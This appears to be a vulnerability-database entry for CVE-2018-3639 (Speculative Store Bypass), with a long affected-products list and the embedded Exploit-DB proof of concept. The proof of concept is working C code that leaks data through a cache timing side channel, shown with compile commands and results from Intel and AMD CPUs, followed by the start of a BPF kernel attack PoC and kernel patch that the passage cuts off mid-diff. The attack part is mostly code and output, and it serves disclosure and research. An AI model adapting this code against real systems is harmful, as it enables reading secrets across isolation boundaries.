ID

VAR-E-201805-0052


CVE

cve_id:CVE-2018-3639

Trust: 1.8

sources: BID: 104232 // PACKETSTORM: 147839 // EXPLOIT-DB: 44695

EDB ID

44695


TITLE

AMD / ARM / Intel - Speculative Execution Variant 4 Speculative Store Bypass - Hardware dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 44695

DESCRIPTION

AMD / ARM / Intel - Speculative Execution Variant 4 Speculative Store Bypass. CVE-2018-3639 . dos exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 44695

AFFECTED PRODUCTS

vendor:amdmodel:arm intelscope:eqversion://

Trust: 1.6

vendor:redhatmodel:enterprise linux server update services for sap solutionsscope:eqversion:-7.

Trust: 0.6

vendor:speculativemodel:execution variantscope:eqversion:4

Trust: 0.5

vendor:xenmodel:xenscope:eqversion:0

Trust: 0.3

vendor:vmwaremodel:workstation proscope:eqversion:14.1.1

Trust: 0.3

vendor:vmwaremodel:workstation proscope:eqversion:14.1

Trust: 0.3

vendor:vmwaremodel:workstation proscope:eqversion:14.0

Trust: 0.3

vendor:vmwaremodel:workstation playerscope:eqversion:14.1.1

Trust: 0.3

vendor:vmwaremodel:workstation playerscope:eqversion:14.1

Trust: 0.3

vendor:vmwaremodel:workstation playerscope:eqversion:14.0

Trust: 0.3

vendor:vmwaremodel:vsphere esxiscope:eqversion:6.7

Trust: 0.3

vendor:vmwaremodel:vsphere esxiscope:eqversion:6.5

Trust: 0.3

vendor:vmwaremodel:vsphere esxiscope:eqversion:6.0

Trust: 0.3

vendor:vmwaremodel:vsphere esxiscope:eqversion:5.5

Trust: 0.3

vendor:vmwaremodel:vcenter serverscope:eqversion:6.7

Trust: 0.3

vendor:vmwaremodel:vcenter serverscope:eqversion:6.5

Trust: 0.3

vendor:vmwaremodel:vcenter serverscope:eqversion:6.0

Trust: 0.3

vendor:vmwaremodel:vcenter serverscope:eqversion:5.5

Trust: 0.3

vendor:vmwaremodel:fusion proscope:eqversion:10.1.1

Trust: 0.3

vendor:vmwaremodel:fusion proscope:eqversion:10.0

Trust: 0.3

vendor:vmwaremodel:fusionscope:eqversion:10.1.1

Trust: 0.3

vendor:vmwaremodel:fusionscope:eqversion:10.0

Trust: 0.3

vendor:ubuntumodel:linux ltsscope:eqversion:18.04

Trust: 0.3

vendor:ubuntumodel:linuxscope:eqversion:17.10

Trust: 0.3

vendor:ubuntumodel:linux ltsscope:eqversion:16.04

Trust: 0.3

vendor:ubuntumodel:linux ltsscope:eqversion:14.04

Trust: 0.3

vendor:synologymodel:virtual dsmscope:eqversion:0

Trust: 0.3

vendor:synologymodel:sky nasscope:eqversion:0

Trust: 0.3

vendor:synologymodel:dsmscope:eqversion:6.1

Trust: 0.3

vendor:synologymodel:dsmscope:eqversion:6.0

Trust: 0.3

vendor:synologymodel:dsmscope:eqversion:5.2

Trust: 0.3

vendor:redhatmodel:virtualization managerscope:eqversion:4.2

Trust: 0.3

vendor:redhatmodel:virtualization hostscope:eqversion:4

Trust: 0.3

vendor:redhatmodel:virtualization for ibm power lescope:eqversion:4

Trust: 0.3

vendor:redhatmodel:virtualization elsscope:eqversion:-3

Trust: 0.3

vendor:redhatmodel:virtualizationscope:eqversion:4

Trust: 0.3

vendor:redhatmodel:openstack for ibm powerscope:eqversion:12.0

Trust: 0.3

vendor:redhatmodel:openstackscope:eqversion:9.0

Trust: 0.3

vendor:redhatmodel:openstackscope:eqversion:8.0

Trust: 0.3

vendor:redhatmodel:openstackscope:eqversion:7.0

Trust: 0.3

vendor:redhatmodel:openstackscope:eqversion:12.0

Trust: 0.3

vendor:redhatmodel:openstackscope:eqversion:10.0

Trust: 0.3

vendor:redhatmodel:mrg realtimescope:eqversion:2

Trust: 0.3

vendor:redhatmodel:gluster storage server for on-premise for rhelscope:eqversion:370

Trust: 0.3

vendor:redhatmodel:enterprise linux workstationscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux workstationscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:6.5

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:6.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server update services for sap solutionsscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server update services for sap solutionsscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server update services for sap solutionsscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server tusscope:eqversion:-6.6

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supportscope:eqversion:-7.5

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supportscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supportscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server extended update supportscope:eqversion:-6.7

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-7.2

Trust: 0.3

vendor:redhatmodel:enterprise linux server ausscope:eqversion:-6.6

Trust: 0.3

vendor:redhatmodel:enterprise linux serverscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux serverscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux for scientific computingscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for scientific computingscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux for real timescope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endian extended update suppscope:eqversion:-7.5

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endian extended update suppscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endian extended update suppscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux for power little endianscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-7.5

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endian extended update supportscope:eqversion:-6.7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endianscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for power big endianscope:eqversion:6

Trust: 0.3

vendor:redhatmodel:enterprise linux for powerscope:eqversion:97

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-7.5

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systems extended update supportscope:eqversion:-6.7

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm z systemsscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for ibm system zscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux for armscope:eqversion:647

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:7.5

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:7.4

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:7.3

Trust: 0.3

vendor:redhatmodel:enterprise linux eus compute nodescope:eqversion:6.7

Trust: 0.3

vendor:redhatmodel:enterprise linux desktopscope:eqversion:7

Trust: 0.3

vendor:redhatmodel:enterprise linux desktopscope:eqversion:6

Trust: 0.3

vendor:oraclemodel:solarisscope:eqversion:11

Trust: 0.3

vendor:netappmodel:solidfire element os management nodescope:eqversion:0

Trust: 0.3

vendor:microsoftmodel:windows serverscope:eqversion:20160

Trust: 0.3

vendor:microsoftmodel:windows server r2scope:eqversion:20120

Trust: 0.3

vendor:microsoftmodel:windows serverscope:eqversion:20120

Trust: 0.3

vendor:microsoftmodel:windows server r2 for 32-bit systems sp2scope:eqversion:2008

Trust: 0.3

vendor:microsoftmodel:windows server for x64-based systems sp2scope:eqversion:2008

Trust: 0.3

vendor:microsoftmodel:windows server for 32-bit systems sp2scope:eqversion:2008

Trust: 0.3

vendor:microsoftmodel:windows serverscope:eqversion:18030

Trust: 0.3

vendor:microsoftmodel:windows serverscope:eqversion:17090

Trust: 0.3

vendor:microsoftmodel:windows rtscope:eqversion:8.1

Trust: 0.3

vendor:microsoftmodel:windows for 64-bit systemsscope:eqversion:8.10

Trust: 0.3

vendor:microsoftmodel:windows for 32-bit systemsscope:eqversion:8.10

Trust: 0.3

vendor:microsoftmodel:windows for x64-based systems sp1scope:eqversion:7

Trust: 0.3

vendor:microsoftmodel:windows for 32-bit systems sp1scope:eqversion:7

Trust: 0.3

vendor:microsoftmodel:windows version for x64-based systemsscope:eqversion:1018030

Trust: 0.3

vendor:microsoftmodel:windows version for 32-bit systemsscope:eqversion:1018030

Trust: 0.3

vendor:microsoftmodel:windows version for x64-based systemsscope:eqversion:1017090

Trust: 0.3

vendor:microsoftmodel:windows version for 32-bit systemsscope:eqversion:1017090

Trust: 0.3

vendor:microsoftmodel:windows version for x64-based systemsscope:eqversion:1017030

Trust: 0.3

vendor:microsoftmodel:windows version for 32-bit systemsscope:eqversion:1017030

Trust: 0.3

vendor:microsoftmodel:windows version for x64-based systemsscope:eqversion:1016070

Trust: 0.3

vendor:microsoftmodel:windows version for 32-bit systemsscope:eqversion:1016070

Trust: 0.3

vendor:microsoftmodel:windows for x64-based systemsscope:eqversion:100

Trust: 0.3

vendor:microsoftmodel:windows for 32-bit systemsscope:eqversion:100

Trust: 0.3

vendor:microsoftmodel:surface pro with advanced lte modelscope:eqversion:18070

Trust: 0.3

vendor:microsoftmodel:surface pro modelscope:eqversion:17960

Trust: 0.3

vendor:microsoftmodel:surface proscope:eqversion:40

Trust: 0.3

vendor:microsoftmodel:surface proscope:eqversion:30

Trust: 0.3

vendor:microsoftmodel:surface laptopscope:eqversion:0

Trust: 0.3

vendor:microsoftmodel:surface bookscope:eqversion:2

Trust: 0.3

vendor:intelmodel:xeon processor e7 familyscope:eqversion:v40

Trust: 0.3

vendor:intelmodel:xeon processor e7 familyscope:eqversion:v30

Trust: 0.3

vendor:intelmodel:xeon processor e7 familyscope:eqversion:v20

Trust: 0.3

vendor:intelmodel:xeon processor e7 familyscope:eqversion:0

Trust: 0.3

vendor:intelmodel:xeon processor e5 familyscope:eqversion:v40

Trust: 0.3

vendor:intelmodel:xeon processor e5 familyscope:eqversion:v30

Trust: 0.3

vendor:intelmodel:xeon processor e5 familyscope:eqversion:v20

Trust: 0.3

vendor:intelmodel:xeon processor e5 familyscope:eqversion:0

Trust: 0.3

vendor:intelmodel:xeon processor e3 familyscope:eqversion:v60

Trust: 0.3

vendor:intelmodel:xeon processor e3 familyscope:eqversion:v50

Trust: 0.3

vendor:intelmodel:xeon processor e3 familyscope:eqversion:v40

Trust: 0.3

vendor:intelmodel:xeon processor e3 familyscope:eqversion:v30

Trust: 0.3

vendor:intelmodel:xeon processor e3 familyscope:eqversion:v20

Trust: 0.3

vendor:intelmodel:xeon processor e3 familyscope:eqversion:0

Trust: 0.3

vendor:intelmodel:xeon processor seriesscope:eqversion:75000

Trust: 0.3

vendor:intelmodel:xeon processor seriesscope:eqversion:65000

Trust: 0.3

vendor:intelmodel:xeon processor seriesscope:eqversion:56000

Trust: 0.3

vendor:intelmodel:xeon processor seriesscope:eqversion:55000

Trust: 0.3

vendor:intelmodel:xeon processor seriesscope:eqversion:36000

Trust: 0.3

vendor:intelmodel:xeon processor seriesscope:eqversion:34000

Trust: 0.3

vendor:intelmodel:pentium processor silver seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:pentium processor n seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:pentium processor j seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:core x-series processor family for intel platformsscope:eqversion:x990

Trust: 0.3

vendor:intelmodel:core x-series processor family for intel platformsscope:eqversion:x2990

Trust: 0.3

vendor:intelmodel:core m processor familyscope:eqversion:0

Trust: 0.3

vendor:intelmodel:celeron processor n seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:celeron processor j seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:atom processor z seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:atom processor seriesscope:eqversion:x0

Trust: 0.3

vendor:intelmodel:atom processor t seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:atom processor e seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:atom processor c seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:atom processor a seriesscope:eqversion:0

Trust: 0.3

vendor:intelmodel:8th generation core processorsscope:eqversion:0

Trust: 0.3

vendor:intelmodel:7th generation core processorsscope:eqversion:0

Trust: 0.3

vendor:intelmodel:6th generation core processorsscope:eqversion:0

Trust: 0.3

vendor:intelmodel:5th generation core processorsscope:eqversion:0

Trust: 0.3

vendor:intelmodel:4th generation core processorsscope:eqversion:0

Trust: 0.3

vendor:intelmodel:3rd generation core processorsscope:eqversion:0

Trust: 0.3

vendor:intelmodel:2nd generation core processorsscope:eqversion:0

Trust: 0.3

vendor:ibmmodel:viosscope:eqversion:2.2

Trust: 0.3

vendor:ibmmodel:aixscope:eqversion:7.2

Trust: 0.3

vendor:ibmmodel:aixscope:eqversion:7.1

Trust: 0.3

vendor:ibmmodel:aixscope:eqversion:6.1

Trust: 0.3

vendor:ibmmodel:aixscope:eqversion:5.3

Trust: 0.3

vendor:armmodel:cortex a72scope:eqversion:0

Trust: 0.3

vendor:armmodel:cortex a57scope:eqversion:0

Trust: 0.3

vendor:vmwaremodel:workstation proscope:neversion:14.1.2

Trust: 0.3

vendor:vmwaremodel:workstation playerscope:neversion:14.1.2

Trust: 0.3

vendor:vmwaremodel:fusion proscope:neversion:10.1.2

Trust: 0.3

vendor:vmwaremodel:fusionscope:neversion:10.1.2

Trust: 0.3

sources: BID: 104232 // PACKETSTORM: 147839 // EXPLOIT-DB: 44695 // EDBNET: 97936

EXPLOIT

/*
======== Intro / Overview ========
After Michael Schwarz made some interesting observations, we started
looking into variants other than the three already-known ones.

I noticed that Intel's Optimization Manual says in
section 2.4.4.5 ("Memory Disambiguation"):

A load instruction micro-op may depend on a preceding store. Many
microarchitectures block loads until all preceding store address
are known.
The memory disambiguator predicts which loads will not depend on
any previous stores. When the disambiguator predicts that a load
does not have such a dependency, the load takes its data from the
L1 data cache.
Eventually, the prediction is verified. If an actual conflict is
detected, the load and all succeeding instructions are re-executed.

According to my experiments, this effect can be used to cause
speculative execution to continue far enough to execute a
Spectre-style gadget on a pointer read from a memory slot to which a
store has been speculatively ignored. I have tested this behavior on
the following processors from Intel and AMD:

- Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz [Skylake laptop]
- AMD PRO A8-9600 R7, 10 COMPUTE CORES 4C+6G [AMD desktop]
- Intel(R) Xeon(R) CPU E5-1650 v3 @ 3.50GHz [Haswell desktop]

I haven't yet tested this on any ARM CPU.

Interestingly, only on the Skylake laptop, it seems to work when
interrupts and SMP are disabled while the test is running; on the
other machines, it seems to only work when interrupts are enabled,
maybe because the kernel code cause some noise that garbles some
predictor state or so? Or just because they mess up timing
somewhere...

There were mentions of data speculation on the netdev list, in a
somewhat different context:

https://www.mail-archive.com/netdev@vger.kernel.org/msg212262.html
https://www.mail-archive.com/netdev@vger.kernel.org/msg215369.html

However, I'm not entirely sure about the terminology. Do
"data speculation" and "value speculation" include speculating about
the *source* of data, or do they refer exclusively to directly
speculating about the *value* of data?

======== Demo code (no privilege boundaries crossed) ========
This is some code that purely demonstrates the basic effect and shows
that it is possible to combine it with a Meltdown/Spectre-style
gadget for leaking data into the cache. It does not cross any
privilege boundaries.

----------------------- START -----------------------
// compile with: gcc -o test test.c -Wall -DHIT_THRESHOLD={CYCLES}
// optionally add: -DNO_INTERRUPTS

#include <stdio.h>
#include <sys/io.h>
#include <err.h>
#include <sys/mman.h>

#define pipeline_flush() asm volatile("mov $0,
%%eax\n\tcpuid\n\tlfence" : /*out*/ : /*in*/ :
"rax","rbx","rcx","rdx","memory")
#define clflush(addr) asm volatile("clflush (%0)"::"r"(addr):"memory")

// source of high-latency pointer to the memory slot
unsigned char **flushy_area[1000];
#define flushy (flushy_area+500)

// memory slot on which we want bad memory disambiguation
unsigned char *memory_slot_area[1000];
#define memory_slot (memory_slot_area+500)

// 0123456789abcdef
unsigned char secret_read_area[] = "0000011011101011";
unsigned char public_read_area[] = "################";

unsigned char timey_line_area[0x200000];
// stored in the memory slot first
#define timey_lines (timey_line_area + 0x10000)

unsigned char dummy_char_sink;

int testfun(int idx) {
pipeline_flush();
*flushy = memory_slot;
*memory_slot = secret_read_area;
timey_lines['0' << 12] = 1;
timey_lines['1' << 12] = 1;
pipeline_flush();
clflush(flushy);
clflush(&timey_lines['0' << 12]);
clflush(&timey_lines['1' << 12]);
asm volatile("mfence");
pipeline_flush();

// START OF CRITICAL PATH
unsigned char **memory_slot__slowptr = *flushy;
//pipeline_flush();
// the following store will be speculatively ignored since its
address is unknown
*memory_slot__slowptr = public_read_area;
// uncomment the instructions in the next line to break the attack
asm volatile("" /*"mov $0, %%eax\n\tcpuid\n\tlfence"*/ : /*out*/ :
/*in*/ : "rax","rbx","rcx","rdx","memory");
// architectual read from dummy_timey_line, possible
microarchitectural read from timey_line
dummy_char_sink = timey_lines[(*memory_slot)[idx] << 12];
// END OF CRITICAL PATH

unsigned int t1, t2;

pipeline_flush();
asm volatile(
"lfence\n\t"
"rdtscp\n\t"
"mov %%eax, %%ebx\n\t"
"mov (%%rdi), %%r11\n\t"
"rdtscp\n\t"
"lfence\n\t"
://out
"=a"(t2),
"=b"(t1)
://in
"D"(timey_lines + 0x1000 * '0')
://clobber
"r11",
"rcx",
"rdx",
"memory"
);
pipeline_flush();
unsigned int delay_0 = t2 - t1;

pipeline_flush();
asm volatile(
"lfence\n\t"
"rdtscp\n\t"
"mov %%eax, %%ebx\n\t"
"mov (%%rdi), %%r11\n\t"
"rdtscp\n\t"
"lfence\n\t"
://out
"=a"(t2),
"=b"(t1)
://in
"D"(timey_lines + 0x1000 * '1')
://clobber
"r11",
"rcx",
"rdx",
"memory"
);
pipeline_flush();
unsigned int delay_1 = t2 - t1;

if (delay_0 < HIT_THRESHOLD && delay_1 > HIT_THRESHOLD) {
pipeline_flush();
return 0;
}
if (delay_0 > HIT_THRESHOLD && delay_1 < HIT_THRESHOLD) {
pipeline_flush();
return 1;
}
pipeline_flush();
return -1;
}

int main(void) {
char out[100000];
char *out_ = out;

#ifdef NO_INTERRUPTS
if (mlockall(MCL_CURRENT|MCL_FUTURE) || iopl(3))
err(1, "iopl(3)");
#endif

for (int idx = 0; idx < 16; idx++) {
#ifdef NO_INTERRUPTS
asm volatile("cli");
#endif
pipeline_flush();
long cycles = 0;
int hits = 0;
char results[33] = {0};
/* if we don't break the loop after some time when it doesn't
work, in NO_INTERRUPTS mode with SMP disabled, the machine will lock
up */
while (hits < 32 && cycles < 1000000) {
pipeline_flush();
int res = testfun(idx);
if (res != -1) {
pipeline_flush();
results[hits] = res + '0';
hits++;
}
cycles++;
pipeline_flush();
}
pipeline_flush();
#ifdef NO_INTERRUPTS
asm volatile("sti");
#endif
out_ += sprintf(out_, "%c: %s in %ld cycles (hitrate: %f%%)\n",
secret_read_area[idx], results, cycles, 100*hits/(double)cycles);
}
printf("%s", out);
pipeline_flush();
}
----------------------- END -----------------------

Results:

In the following, "SMP off" means that I have executed this
command:
# for file in /sys/devices/system/cpu/cpu*/online; do echo 0 > $file; done

For the Intel machines, "turbo off" means that I've executed the
following command:
# echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo

Skylake laptop, normal:

$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50
$ ./test
0: 00000000000000000000000000000000 in 61944 cycles (hitrate: 0.051660%)
0: 00000000000000000000000000000000 in 36467 cycles (hitrate: 0.087751%)
0: 00000000000000000000000000000000 in 36788 cycles (hitrate: 0.086985%)
0: 00000000000000000000000000000000 in 36800 cycles (hitrate: 0.086957%)
0: 00000000000000000000000000000000 in 35797 cycles (hitrate: 0.089393%)
1: 11111111111111111111111111111111 in 48923 cycles (hitrate: 0.065409%)
1: 11111111111111111111111111111111 in 44525 cycles (hitrate: 0.071870%)
0: 00000000000000000000000000000000 in 44813 cycles (hitrate: 0.071408%)
1: 11111111111111111111111111111111 in 40625 cycles (hitrate: 0.078769%)
1: 11111111111111111111111111111111 in 40897 cycles (hitrate: 0.078245%)
1: 11111111111111111111111111111111 in 39648 cycles (hitrate: 0.080710%)
0: 00000000000000000000000000000000 in 40737 cycles (hitrate: 0.078553%)
1: 11111111111111111111111111111111 in 37850 cycles (hitrate: 0.084544%)
0: 00000000000000000000000000000000 in 46062 cycles (hitrate: 0.069472%)
1: 11111111111111111111111111111111 in 44929 cycles (hitrate: 0.071223%)
1: 11111111111111111111111111111111 in 37465 cycles (hitrate: 0.085413%)

Skylake laptop, SMP off, interrupts off, turbo off:

$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50 -DNO_INTERRUPTS
$ sudo ./test
0: 00000000000000000000000000000000 in 34697 cycles (hitrate: 0.092227%)
0: 00000000000000000000000000000000 in 32625 cycles (hitrate: 0.098084%)
0: 00000000000000000000000000000000 in 32776 cycles (hitrate: 0.097632%)
0: 00000000000000000000000000000000 in 34680 cycles (hitrate: 0.092272%)
0: 00000000000000000000000000000000 in 32302 cycles (hitrate: 0.099065%)
1: 11111111111111111111111111111111 in 33240 cycles (hitrate: 0.096270%)
1: 11111111111111111111111111111111 in 33738 cycles (hitrate: 0.094849%)
0: 00000000000000000000000000000000 in 31745 cycles (hitrate: 0.100803%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
1: 11111111111111111111111111111111 in 32531 cycles (hitrate: 0.098368%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
0: 00000000000000000000000000000000 in 31745 cycles (hitrate: 0.100803%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
0: 00000000000000000000000000000000 in 32193 cycles (hitrate: 0.099400%)
1: 11111111111111111111111111111111 in 32167 cycles (hitrate: 0.099481%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)

Haswell PC, normal:

$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50
$ ./test
0: 00000000000000000000000000000000 in 119737 cycles (hitrate: 0.026725%)
0: 00000000000000000000000000000000 in 45340 cycles (hitrate: 0.070578%)
0: 00000000000000000000000000000000 in 39127 cycles (hitrate: 0.081785%)
0: 00000000000000000000000000000000 in 39567 cycles (hitrate: 0.080875%)
0: 00000000000000000000000000000000 in 35164 cycles (hitrate: 0.091002%)
1: 11111111111111111111111111111111 in 33770 cycles (hitrate: 0.094759%)
1: 11111111111111111111111111111111 in 36743 cycles (hitrate: 0.087091%)
0: 00000000000000000000000000000000 in 36749 cycles (hitrate: 0.087077%)
1: 11111111111111111111111111111111 in 35686 cycles (hitrate: 0.089671%)
1: 11111111111111111111111111111111 in 35843 cycles (hitrate: 0.089278%)
1: 11111111111111111111111111111111 in 35826 cycles (hitrate: 0.089321%)
0: 00000000000000000000000000000000 in 35302 cycles (hitrate: 0.090646%)
1: 11111111111111111111111111111111 in 34256 cycles (hitrate: 0.093414%)
0: 00000000000000000000000000000000 in 36604 cycles (hitrate: 0.087422%)
1: 11111111111111111111111111111111 in 36795 cycles (hitrate: 0.086968%)
1: 11111111111111111111111111111111 in 37820 cycles (hitrate: 0.084611%)

Haswell PC, SMP off, interrupts off, turbo off:

$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50 -DNO_INTERRUPTS
$ sudo ./test
0: 00000000000000000000000000000000 in 32770 cycles (hitrate: 0.097650%)
0: 00000000000000000000000000000000 in 32776 cycles (hitrate: 0.097632%)
0: 00000000000000000000000000000000 in 32783 cycles (hitrate: 0.097612%)
0: 00000000000000000000000000000000 in 31745 cycles (hitrate: 0.100803%)
0: 00000000000000000000000000000000 in 37455 cycles (hitrate: 0.085436%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
0: 00000000000000000000000000000000 in 39894 cycles (hitrate: 0.080213%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: 11111111111111111111111111111111 in 33845 cycles (hitrate: 0.094549%)
0: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
0: 00000000000000000000000000000000 in 44050 cycles (hitrate: 0.072645%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)

AMD desktop, normal:

$ gcc -o test test.c -Wall -DHIT_THRESHOLD=200 -std=gnu99
$ ./test
0: 0000000000000000000000000 in 1000000 cycles (hitrate: 0.002500%)
0: 000000000000000000000 in 1000000 cycles (hitrate: 0.002100%)
0: 00000000000000000000000000000000 in 939816 cycles (hitrate: 0.003405%)
0: 00000000000000000000000000000000 in 903838 cycles (hitrate: 0.003540%)
0: 00000000000000000000000000000000 in 360430 cycles (hitrate: 0.008878%)
1: 11111111111111111111111111111111 in 484242 cycles (hitrate: 0.006608%)
1: 11111111111111111111111111111111 in 331271 cycles (hitrate: 0.009660%)
0: 00000000000000000000000000000000 in 388049 cycles (hitrate: 0.008246%)
1: 11111111111111111111111111111111 in 282588 cycles (hitrate: 0.011324%)
1: 11111111111111111111111111111111 in 359558 cycles (hitrate: 0.008900%)
1: 11111111111111111111111111111111 in 359013 cycles (hitrate: 0.008913%)
0: 0000000000000000000000000000000 in 1000000 cycles (hitrate: 0.003100%)
1: 11111111111111111111111111111111 in 501067 cycles (hitrate: 0.006386%)
0: 00000000000000000000000000000000 in 312420 cycles (hitrate: 0.010243%)
1: 11111111111111111111111111111111 in 784663 cycles (hitrate: 0.004078%)
1: 11111111111111111111111111111111 in 954189 cycles (hitrate: 0.003354%)

AMD desktop, SMP off, interrupts off:

$ gcc -o test test.c -Wall -DHIT_THRESHOLD=200 -std=gnu99 -DNO_INTERRUPTS
$ sudo ./test
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: in 1000000 cycles (hitrate: 0.000000%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)

======== assisted BPF PoC ========
This is a PoC that demonstrates that this issue can potentially be
used to attack the Linux kernel's BPF subsystem.
This is *NOT* a full exploit against BPF; this is a PoC that requires
kernel patches that permit the PoC to flush kernel memory from inside
BPF and to measure access times to BPF arrays. It seems probable that
these restrictions could be overcome, but my PoC doesn't do that.

The basic idea here is to cause a speculative type confusion:

1. Store a number N at address A on the stack.
2. Write a pointer P to address A, using a high-latency
expression to compute A.
3. Read a value X from address A, with A specified using a low-latency
expression. Architecturally, X is P; however, microarchitecturally,
X can be N.
4. Use the Spectre/Meltdown gadget to leak the value X points to into
the cache.

The attack benefits from the unique property of eBPF that the engine
performs relatively complicated value tracking, but does not
normally use the resulting information to modify the code in any way
(e.g. by optimizing things away). It is not clear how applicable this
attack would be to e.g. other scripting languages, or whether it is an
issue for non-scripting code.

I have only tested this PoC on an Intel Skylake CPU.

Kernel patch required for the PoC to work (copy attached, so that it
applies cleanly), to be applied to the 4.15.1 stable kernel:

----------------------- START -----------------------
diff --git a/include/linux/bpf.h b/include/linux/bpf.h
index 0b25cf87b6d6..896b4f483fe2 100644
--- a/include/linux/bpf.h
+++ b/include/linux/bpf.h
@@ -591,6 +591,7 @@ extern const struct bpf_func_proto bpf_skb_vlan_push_proto;
extern const struct bpf_func_proto bpf_skb_vlan_pop_proto;
extern const struct bpf_func_proto bpf_get_stackid_proto;
extern const struct bpf_func_proto bpf_sock_map_update_proto;
+extern const struct bpf_func_proto bpf_clflush_mfence_proto;

/* Shared helpers among cBPF and eBPF. */
void bpf_user_rnd_init_once(void);
diff --git a/kernel/bpf/helpers.c b/kernel/bpf/helpers.c
index 3d24e238221e..379dc888cb81 100644
--- a/kernel/bpf/helpers.c
+++ b/kernel/bpf/helpers.c
@@ -179,3 +179,17 @@ const struct bpf_func_proto bpf_get_current_comm_proto = {
.arg1_type = ARG_PTR_TO_UNINIT_MEM,
.arg2_type = ARG_CONST_SIZE,
};
+
+BPF_CALL_1(bpf_clflush_mfence, void *, target) {
+ asm volatile("mfence\n\tclflush (%0)\n\tmfence"::"r"(target):"memory");
+ return 0;
+}
+
+const struct bpf_func_proto bpf_clflush_mfence_proto = {
+ .func = bpf_clflush_mfence,
